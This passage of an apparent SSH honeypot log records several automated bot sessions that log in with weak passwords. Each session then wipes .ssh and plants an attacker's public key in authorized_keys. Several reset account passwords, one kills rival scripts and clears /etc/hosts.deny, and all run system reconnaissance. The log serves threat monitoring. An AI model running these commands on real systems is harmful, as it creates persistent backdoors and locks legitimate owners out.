2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:13:25.933790+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:13:26.687489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:13:26.949601+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:13:27.829494+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:13:28.091039+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:13:28.741627+00:00","kind":"output","latency_ms":null,"data":"nico"},{"seq":29,"at":"2026-08-27T12:13:29.003236+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:13:31.032644+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:13:31.296683+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:13:32.521641+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"nico","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"34cbb54a-7eae-4549-a703-86074d83de0d","name":"lofty-lively-crane","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59510,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":444,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:13:04.316963+00:00","ended_at":"2026-08-27T12:13:05.593037+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:12:43.878171+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:12:44.318406+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:12:48.939000+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:12:49.576293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:12:50.018597+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd!\\n4a97yGNcwoCS\\n4a97yGNcwoCS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:12:50.466052+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd!\\n4a97yGNcwoCS\\n4a97yGNcwoCS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:12:50.901278+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:12:51.799762+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:12:52.243566+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:12:53.062652+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:12:53.509719+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:12:54.328438+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:12:54.775342+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:12:55.513809+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:12:55.956624+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:12:56.396023+00:00","kind":"output","latency_ms":null,"data":" 12:12:56 up 7 days, 9:03, 0 user, load average: 0.11, 0.1, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:12:56.847273+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:12:57.514944+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:12:57.961835+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:12:58.643882+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:12:59.086463+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:12:59.563927+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:59 up 7 days, 9:03, 0 user, load average: 0.11, 0.1, 0.13\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:13:00.005122+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:13:00.317057+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:13:00.759919+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:13:01.614887+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:13:02.060273+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:13:02.446195+00:00","kind":"output","latency_ms":null,"data":"dev"},{"seq":29,"at":"2026-08-27T12:13:02.897321+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:13:03.877394+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:13:04.317949+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:13:05.455471+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dev","password":"Passw0rd!","method":"password","accepted":true,"tier":"other"}]} {"id":"094e7a1a-94b8-4321-8b66-12b7e420acef","name":"wandering-jagged-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46216,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:12:36.364067+00:00","ended_at":"2026-08-27T12:12:37.449473+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:12:19.459165+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:12:19.751118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:12:22.481217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:12:22.887511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:12:23.180129+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nQwAmT7487T1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:12:23.469463+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:12:23.760331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:12:24.515164+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:12:24.806055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:12:25.998122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:12:26.288873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:12:27.324299+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:12:27.618242+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:12:28.012897+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:12:28.304965+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:12:29.104886+00:00","kind":"output","latency_ms":null,"data":" 12:12:29 up 7 days, 9:02, 0 user, load average: 0.34, 0.27, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:12:29.395432+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:12:30.045826+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:12:30.336127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:12:31.053107+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:12:31.345212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:12:31.871808+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:31 up 7 days, 9:02, 0 user, load average: 0.34, 0.27, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:12:32.160605+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:12:32.874529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:12:33.165241+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:12:33.978922+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:12:34.281547+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:12:34.571367+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:12:34.861987+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:12:36.073498+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:12:36.365110+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:12:37.370802+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"073159ff-aca6-436d-931a-c03df328242f","name":"frank-marine-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38680,"username":"pal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:11:31.041436+00:00","ended_at":"2026-08-27T12:11:32.356603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T12:11:14.477206+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:11:14.744258+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:11:18.492663+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:11:19.055866+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:11:19.314884+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nTyIqDdxvY5q3\\nTyIqDdxvY5q3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:11:19.580899+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nTyIqDdxvY5q3\\nTyIqDdxvY5q3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:11:19.846935+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:11:20.185630+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:11:20.453138+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:11:21.505634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:11:21.775847+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:11:22.857081+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:11:23.125393+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:11:23.888815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:11:24.156772+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:11:24.837759+00:00","kind":"output","latency_ms":null,"data":" 12:11:24 up 7 days, 9:01, 0 user, load average: 0.27, 0.27, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:11:25.105475+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:11:25.416072+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:11:25.683462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:11:26.221484+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:11:26.489310+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:11:27.159419+00:00","kind":"output","latency_ms":null,"data":"top - 12:11:27 up 7 days, 9:01, 0 user, load average: 0.27, 0.27, 0.17\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:11:27.426433+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:11:27.769489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:11:28.037635+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:11:28.564303+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:11:28.831178+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:11:29.562124+00:00","kind":"output","latency_ms":null,"data":"pal"},{"seq":29,"at":"2026-08-27T12:11:29.831424+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:11:30.775087+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:11:31.042211+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:11:32.279531+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pal","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"5cd78e11-7c61-462e-a56c-3c4ae0d6382f","name":"canny-grassy-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":51418,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:38.041176+00:00","ended_at":"2026-08-27T12:10:39.407092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:10:20.516119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:10:20.816543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:10:25.073681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:10:25.613620+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:10:25.905841+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n0L30S90SDkia\\n0L30S90SDkia\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:10:26.203451+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n0L30S90SDkia\\n0L30S90SDkia\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:10:26.504771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:10:26.773409+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:10:27.078525+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:10:28.385181+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:28.677910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:10:29.801302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:30.102117+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:30.376464+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:30.675354+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:31.203435+00:00","kind":"output","latency_ms":null,"data":" 12:10:31 up 7 days, 9:00, 0 user, load average: 0.32, 0.27, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:31.501585+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:32.143868+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:32.443123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:32.921958+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:33.221881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:33.929015+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:33 up 7 days, 9:00, 0 user, load average: 0.32, 0.27, 0.32\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:34.229209+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:34.959331+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:35.259163+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:35.567162+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:35.865513+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:36.435206+00:00","kind":"output","latency_ms":null,"data":"dan"},{"seq":29,"at":"2026-08-27T12:10:36.735062+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:37.740722+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:38.042644+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:39.319634+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dan","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"c391edc6-1849-44c2-accc-52206383b387","name":"calm-cobalt-armadillo","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59490,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":461,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:25.466051+00:00","ended_at":"2026-08-27T12:10:26.800070+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:10:03.659771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:10:04.119858+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 